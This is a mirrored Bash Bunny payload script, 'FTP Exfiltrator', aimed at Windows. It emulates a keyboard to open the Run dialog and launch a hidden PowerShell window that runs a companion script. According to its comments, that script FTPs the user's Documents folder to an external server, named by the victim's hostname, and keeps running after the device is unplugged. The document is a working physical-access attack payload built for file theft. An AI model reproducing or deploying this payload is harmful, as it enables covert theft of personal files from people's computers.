mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
27 lines
808 B
Bash
27 lines
808 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: FTP Exfiltrator
|
|
# Author: Nutt
|
|
# Version: 1.0
|
|
# Target: Windows
|
|
#
|
|
#Exfiltrates files from the users Documents folder
|
|
#FTP's all files/folders to a specified FTP site named by the victim hostname.
|
|
#Powershell FTP script will stay running after BashBunny is unplugged, once light turns green unplug and check FTP site.
|
|
|
|
#Executes 1.ps1
|
|
|
|
#Purple.........Setup
|
|
#Red............Failed - Need to work on
|
|
#Green..........Finished
|
|
|
|
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
|
source bunny_helpers.sh
|
|
|
|
LED R B
|
|
ATTACKMODE HID STORAGE
|
|
QUACK GUI r
|
|
QUACK DELAY 1000
|
|
QUACK STRING powershell -windowstyle hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\1.ps1')"
|
|
QUACK ENTER
|
|
LED G |